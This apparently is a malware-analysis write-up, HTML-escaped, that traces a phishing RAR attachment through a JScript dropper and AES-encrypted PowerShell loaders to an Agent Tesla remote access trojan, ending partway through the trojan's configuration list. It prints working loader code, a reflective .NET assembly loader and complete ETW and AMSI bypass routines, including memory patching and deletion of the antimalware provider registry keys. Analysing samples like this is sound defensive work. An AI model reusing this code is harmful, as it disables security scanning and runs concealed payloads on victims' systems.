&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Name&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Type&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Magic&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;SHA256&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;AMENDED PO NO. 55963.r00&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;RAR&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;RAR archive data, v4, os: Win32&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;756e2527fd5a40547e66224ba0933785&lt;wbr&gt;c1c6cc607b89510e863f18f5ef4dcc8f&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;h3&gt;JScript Dropper&lt;/h3&gt;
&lt;p&gt;Extracting the attached RAR archive yields the file “AMENDED PO NO. 55963.JS”.
This script is heavily obfuscated so I used &lt;a href=&quot;https://github.com/kirk-sayre-work/box-js&quot;&gt;box-js&lt;/a&gt;
to execute the file in a local sandbox and extract IOCs. The following operations were identified:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The script looks for the files &lt;code&gt;C:\Users\Public\Mands.png&lt;/code&gt; and &lt;code&gt;C:\Users\Public\Vile.png&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If the files exist, they are deleted.&lt;/li&gt;
&lt;li&gt;Text is written to both files using the &lt;code&gt;ADODB.Stream&lt;/code&gt; ActiveX object methods&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;Finally, the following command is executed:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((&apos;...&apos;.Replace(&apos;BHNZISEUX&apos;,&apos;&apos;)))))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The command includes a base64 encoded string (omitted) with the character sequence &lt;code&gt;BHNZISEUX&lt;/code&gt; added to it multiple
times for obfuscation. These sequences are removed, the string is decoded, and the resulting expression is invoked.&lt;/p&gt;
&lt;p&gt;I used the following CyberChef recipe to decode the payload:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cyberchef&quot;&gt;Regular_expression(&apos;User defined&apos;,&apos;\&apos;([A-Za-z0-9+/=]+)\&apos;&apos;,false,false,false,false,false,false,&apos;List capture groups&apos;)
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;BHNZISEUX&apos;},&apos;&apos;,true,false,false,false)
From_Base64(&apos;A-Za-z0-9+/=&apos;,true,false)
Decode_text(&apos;UTF-16LE (1200)&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PowerShell Loader (part 1)&lt;/h3&gt;
&lt;p&gt;The resulting script has comments (likely AI generated) which explain its functionality in detail.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The script defines the following variables:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$inputBase64FilePath&lt;/code&gt;: a file path&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$FONIA1&lt;/code&gt;: base64 encoded AES key&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$FONIA2&lt;/code&gt;: base64 encoded AES IV&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It reads the &lt;code&gt;Mands.png&lt;/code&gt; file, decodes it as base64, and decrypts it with AES.&lt;/li&gt;
&lt;li&gt;It decodes each line as base64 and executes it as a separate command.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Specify the path to your text file
$inputBase64FilePath = &quot;C:\Users\PUBLIC\Mands.png&quot;
$FONIA1 = &quot;XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto=&quot;
$FONIA2 = &quot;kSkHVO9bPsG2F/4Nq5kUBA==&quot;
# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)
$aes_var.IV =  [System.Convert]::FromBase64String($FONIA2)

# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)

# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)

# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()

# Write the encrypted bytes to MemoryStream
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading

# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()

# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Read the decrypted data from the CryptoStream
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()

# Close streams
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()

# Print the decrypted result
#Write-Output &quot;Decrypted result:&quot;
#Write-Output $decryptedString

# Split the decrypted string into commands assuming they are separated by a newline
#$commands = $decryptedString -split &quot;`n&quot;

# Execute each command
# Split the decrypted string into commands assuming they are separated by a newline
$commands = $decryptedString -split &quot;`n&quot;

# Execute each command
foreach ($encodedCommand in $commands) {
    try {
        # Trim any whitespace
        $encodedCommand = $encodedCommand.Trim()

        # Validate command (optional, adjust as needed)
        if (-not [string]::IsNullOrWhiteSpace($encodedCommand)) {
            # Validate if it is a Base64 string
            if ($encodedCommand -match &apos;^[A-Za-z0-9+/=]+$&apos; -and ($encodedCommand.Length % 4 -eq 0)) {
                # Decode the Base64 command
                $decodedCommand = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedCommand))
                # Write-Host &quot;done&quot;
                # Execute the decoded command
                Invoke-Expression $decodedCommand
            } else {
              #  Write-Host &quot;Skipped invalid Base64 command: $encodedCommand&quot;
            }
        } else {
          #  Write-Host &quot;Skipped an empty command.&quot;
        }
        
    } catch {
      #  Write-Host (&quot;Error executing command: {0}&quot; -f $_.Exception.Message)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ETW / AMSI Bypass&lt;/h3&gt;
&lt;p&gt;In order to decode and decrypt the contents of the &lt;code&gt;Mands.png&lt;/code&gt; file, I used the following CyberChef recipe:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cyberchef&quot;&gt;From_Base64(&apos;A-Za-z0-9+/=&apos;,true,false)
AES_Decrypt({&apos;option&apos;:&apos;Base64&apos;,&apos;string&apos;:&apos;XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto=&apos;},{&apos;option&apos;:&apos;Base64&apos;,&apos;string&apos;:&apos;kSkHVO9bPsG2F/4Nq5kUBA==&apos;},&apos;CBC&apos;,&apos;Raw&apos;,&apos;Raw&apos;,{&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;},{&apos;option&apos;:&apos;Hex&apos;,&apos;string&apos;:&apos;&apos;})
From_Base64(&apos;A-Za-z0-9+/=&apos;,true,false)
Decode_text(&apos;UTF-16LE (1200)&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This resulted in another base64 encoded command obfuscated with &lt;code&gt;HWEAAAJJHWEAAA&lt;/code&gt; character sequences, which I then decoded with the following recipe:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cyberchef&quot;&gt;Regular_expression(&apos;User defined&apos;,&apos;\&apos;([A-Za-z0-9+/=]+)\&apos;&apos;,false,false,false,false,false,false,&apos;List capture groups&apos;)
Find_/_Replace({&apos;option&apos;:&apos;Simple string&apos;,&apos;string&apos;:&apos;HWEAAAJJHWEAAA&apos;},&apos;&apos;,true,false,false,false)
From_Base64(&apos;A-Za-z0-9+/=&apos;,true,false)
Decode_text(&apos;UTF-16LE (1200)&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting script implements multiple techniques to evade detection by Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI).
At first, it defines memory-related constants, functions, and boilerplate reflection code.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$PAGE_READONLY = 0x02
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260

function IsReadable($protect, $state) {
    return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
}

if ($PSVersionTable.PSVersion.Major -gt 2) {
    $DynAssembly = New-Object System.Reflection.AssemblyName(&quot;Win32&quot;)
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(&quot;Win32&quot;, $False)

    $TypeBuilder = $ModuleBuilder.DefineType(&quot;Win32.MEMORY_INFO_BASIC&quot;, [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField(&quot;BaseAddress&quot;, [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;AllocationBase&quot;, [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;AllocationProtect&quot;, [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;RegionSize&quot;, [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;State&quot;, [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;Protect&quot;, [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;Type&quot;, [Int32], [System.Reflection.FieldAttributes]::Public)
    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType(&quot;Win32.SYSTEM_INFO&quot;, [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField(&quot;wProcessorArchitecture&quot;, [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;wReserved&quot;, [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;dwPageSize&quot;, [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;lpMinimumApplicationAddress&quot;, [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;lpMaximumApplicationAddress&quot;, [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;dwActiveProcessorMask&quot;, [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;dwNumberOfProcessors&quot;, [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;dwProcessorType&quot;, [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;dwAllocationGranularity&quot;, [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;wProcessorLevel&quot;, [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField(&quot;wProcessorRevision&quot;, [UInt16], [System.Reflection.FieldAttributes]::Public)
    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType(&quot;Win32.Kernel32&quot;, &quot;Public, Class&quot;)
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField(&quot;SetLastError&quot;)
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, &quot;kernel32.dll&quot;, [Reflection.FieldInfo[]]@($SetLastError), @($True))

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;VirtualProtect&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;GetCurrentProcess&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;VirtualQuery&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;GetSystemInfo&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;GetMappedFileName&quot;, &quot;psapi.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;ReadProcessMemory&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;WriteProcessMemory&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;GetProcAddress&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod(&quot;GetModuleHandle&quot;, &quot;kernel32.dll&quot;, ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $Kernel32 = $TypeBuilder.CreateType()

    try { $ExecutionContext.SessionState.LanguageMode = &apos;FullLanguage&apos; } catch { }
    try { Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue } catch { }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, it locates and patches the &lt;code&gt;EtwEventWrite&lt;/code&gt; function, which is responsible for event logging,
with shellcode so that it returns immediately, thus preventing event-based rules from being triggered.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;    $etwAddr = [Win32.Kernel32]::GetProcAddress([Win32.Kernel32]::GetModuleHandle(&quot;ntdll.dll&quot;), &quot;EtwEventWrite&quot;)
    if ($etwAddr -ne [IntPtr]::Zero) {
        $oldProtect = 0
        $patchSize = if ([Environment]::Is64BitProcess) { 1 } else { 3 }
        $patchBytes = if ([Environment]::Is64BitProcess) { @(0xC3) } else { @(0xC2, 0x14, 0x00) }
        if ([Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, 0x40, [ref]$oldProtect)) {
            [System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $etwAddr, $patchSize)
            [Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, $oldProtect, [ref]$oldProtect)
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, it attempts to patch the &lt;code&gt;amsiSession&lt;/code&gt; and &lt;code&gt;amsiContext&lt;/code&gt; fields of the &lt;code&gt;AmsiUtils&lt;/code&gt; assembly.
This technique breaks PowerShell script scanning, at least in older implementations&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;    try {
        $amsiUtils = [Ref].Assembly.GetType(&apos;System.Management.Automation.AmsiUtils&apos;)
        if ($amsiUtils) {
            $amsiUtils.GetField(&apos;amsiSession&apos;,&apos;NonPublic,Static&apos;).SetValue($null, $null)
            $amsiUtils.GetField(&apos;amsiContext&apos;,&apos;NonPublic,Static&apos;).SetValue($null, [IntPtr]::Zero)
        }
    } catch { }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also, it attempts to delete the registry keys under &lt;code&gt;HKLM:\SOFTWARE\Microsoft\AMSI\Providers&lt;/code&gt;.
This technique requires elevated privileges but, if it succeeds, all antimalware products
that are registered as AMSI providers are deregistered, effectively disabling script scanning.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;    try {
        if (Test-Path &apos;HKLM:\SOFTWARE\Microsoft\AMSI\Providers&apos; -ErrorAction SilentlyContinue) {
            Get-ChildItem &apos;HKLM:\SOFTWARE\Microsoft\AMSI\Providers&apos; -ErrorAction SilentlyContinue | ForEach-Object { Remove-Item $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue }
        }
    } catch { }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, it moves on to a more sophisticated technique which disables AMSI by hiding the &lt;code&gt;AmsiScanBuffer&lt;/code&gt;
function from the .NET Common Language Runtime (CLR)&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. This function is responsible for scanning buffers
to determine if they contain malware. The CLR dynamically resolves the location of the function and exits
gracefully if it cannot be found, in which case .NET binaries can be loaded reflectively without being scanned.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The script loops through each memory region.&lt;/li&gt;
&lt;li&gt;It finds the memory region that maps to &lt;code&gt;clr.dll&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It finds the location of the “AmsiScanBuffer” string.&lt;/li&gt;
&lt;li&gt;It adds write permissions to the memory region.&lt;/li&gt;
&lt;li&gt;It overwrites the target string with zeroes.&lt;/li&gt;
&lt;li&gt;Finally, it restores the original memory positions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To avoid AMSI detecting the “AmsiScanBuffer” string in this script, it is split into four variables.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;    $a = &quot;Ams&quot;
    $b = &quot;iSc&quot;
    $c = &quot;anBuf&quot;
    $d = &quot;fer&quot;
    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
    $hProcess = [Win32.Kernel32]::GetCurrentProcess()
    $sysInfo = New-Object Win32.SYSTEM_INFO
    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)

    $clrModules = [System.Collections.ArrayList]::new()
    $address = [IntPtr]::Zero
    $memInfo = New-Object Win32.MEMORY_INFO_BASIC
    $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
    $maxAddr = $sysInfo.lpMaximumApplicationAddress.ToInt64()
    
    while ($address.ToInt64() -lt $maxAddr) {
        $queryResult = [Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))
        if ($queryResult) {
            if ((IsReadable $memInfo.Protect $memInfo.State) -and ($memInfo.RegionSize.ToInt64() -gt 0x1000)) {
                [void]$pathBuilder.Clear()
                $mappedResult = [Win32.Kernel32]::GetMappedFileName($hProcess, $memInfo.BaseAddress, $pathBuilder, $MAX_PATH)
                if ($mappedResult -gt 0) {
                    if ($pathBuilder.ToString().EndsWith(&quot;clr.dll&quot;, [StringComparison]::InvariantCultureIgnoreCase)) {
                        [void]$clrModules.Add($memInfo)
                    }
                }
            }
        }
        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
    }

    $maxBufferSize = 0x100000
    $sigLen = $signature.Length
    $buffer = New-Object byte[] $maxBufferSize
    $replacement = New-Object byte[] $sigLen
    $bytesRead = 0
    $bytesWritten = 0
    
    foreach ($region in $clrModules) {
        $regionSize = $region.RegionSize.ToInt64()
        $processed = 0
        
        while ($processed -lt $regionSize) {
            $chunkSize = [Math]::Min($maxBufferSize, $regionSize - $processed)
            $currentAddr = [IntPtr]::Add($region.BaseAddress, $processed)
            
            $readResult = [Win32.Kernel32]::ReadProcessMemory($hProcess, $currentAddr, $buffer, $chunkSize, [ref]$bytesRead)
            if ($readResult -and $bytesRead -gt $sigLen) {
                $searchLimit = $bytesRead - $sigLen
                
                for ($k = 0; $k -le $searchLimit; $k += 4) {
                    if ($buffer[$k] -eq $signature[0]) {
                        $found = $true
                        for ($m = 1; $m -lt $sigLen; $m++) {
                            if ($buffer[$k + $m] -ne $signature[$m]) {
                                $found = $false
                                break
                            }
                        }
                        
                        if ($found) {
                            $targetAddr = [IntPtr]::Add($currentAddr, $k)
                            $oldProtect = 0
                            
                            $protectResult = [Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
                            if ($protectResult) {
                                [void][Win32.Kernel32]::WriteProcessMemory($hProcess, $targetAddr, $replacement, $sigLen, [ref]$bytesWritten)
                                [void][Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $oldProtect, [ref]$oldProtect)
                                return
                            }
                        }
                    }
                }
            }
            $processed += $chunkSize
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PowerShell Loader (part 2)&lt;/h3&gt;
&lt;p&gt;After executing the previous script to bypass ETW and AMSI, the loader moves on to
the &lt;code&gt;Vile.png&lt;/code&gt; file, which is decoded and decrypted much like the &lt;code&gt;Mands.png&lt;/code&gt; file.
The result in this case is a .NET executable which is loaded reflectively and executed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Input Base64 encrypted file path
$inputBase64FilePath = &quot;C:\Users\PUBLIC\Vile.png&quot;

# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)  # Your AES key
$aes_var.IV =  [System.Convert]::FromBase64String($FONIA2)  # Your IV

# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)

# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)

# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading

# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()

# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Decrypt the data into a MemoryStream (no file output)
$decryptedMemoryStream = [System.IO.MemoryStream]::new()
try {
    $buffer = New-Object byte[] 4096
    $bytesRead = 0

    while (($bytesRead = $cryptoStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
        $decryptedMemoryStream.Write($buffer, 0, $bytesRead)
    }
    $decryptedMemoryStream.Position = 0
} catch {
   # Write-Host (&quot;Error during decryption: {0}&quot; -f $_)
} finally {
    $cryptoStream.Close()
    $memoryStream.Close()
}

# Load the decrypted executable from memory
try {
    $decryptedBytes = $decryptedMemoryStream.ToArray()
    $decryptedMemoryStream.Close()

    # Attempt to load as an assembly
    $assembly = [Reflection.Assembly]::Load($decryptedBytes)
    #Write-Host &quot;Assembly loaded successfully. Running...&quot;

    # Invoke the entry point
    $entryPoint = $assembly.EntryPoint
    if ($entryPoint -ne $null) {
        # Create an array of parameters to pass to the main method
        $params = @()
        $entryPoint.Invoke($null, $params)
    } else {
     #   Write-Host &quot;No entry point found in assembly.&quot;
    }

} catch {
  #  Write-Host (&quot;Failed to load assembly: {0}&quot; -f $_)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Agent Tesla&lt;/h3&gt;
&lt;p&gt;Finally, after having decrypted the executable, I decompiled it using
&lt;a href=&quot;https://github.com/dnSpyEx/dnSpy&quot;&gt;dnSpyEx&lt;/a&gt; and started analysing the code.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;Properties/AssemblyInfo.cs&lt;/code&gt; file contains the following metadata,
which indicates the executable is masquerading as a Python setup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;[assembly: AssemblyVersion(&quot;1.0.0.0&quot;)]
[assembly: Guid(&quot;ac817265-7162-4840-9799-486144a753d9&quot;)]
[assembly: AssemblyCopyright(&quot;Copyright (c) Python Software Foundation. All rights reserved.&quot;)]
[assembly: AssemblyTrademark(&quot;Python Software Foundation&quot;)]
[assembly: AssemblyFileVersion(&quot;1.0.0.0&quot;)]
[assembly: AssemblyProduct(&quot;Python 3.11.3 (64-bit)&quot;)]
[assembly: AssemblyCompany(&quot;Python Software Foundation&quot;)]
[assembly: AssemblyDescription(&quot;Python 3.11.3 (64-bit)&quot;)]
[assembly: AssemblyTitle(&quot;setup&quot;)]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;f45b853c-c9d3-495e-9acb-d41a4a90029f.csproj&lt;/code&gt; project file identifies the assembly name of the
executable as &lt;code&gt;f45b853c-c9d3-495e-9acb-d41a4a90029f&lt;/code&gt;. A review of the code files, and in particular
the configuration class, indicates that this sample is an Agent Tesla Remote Access Trojan.&lt;/p&gt;
&lt;p&gt;The configuration dictates which operations are enabled or disabled:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot; checked=&quot;&quot;/&gt;
&lt;code&gt;PublicIpAddressGrab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;EnableKeylogger&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;input disabled=&quot;&quot; type=&quot;checkbox&quot;/&gt;
&lt;code&gt;EnableScreenLogger&lt;/code&gt;&lt;/li&gt;
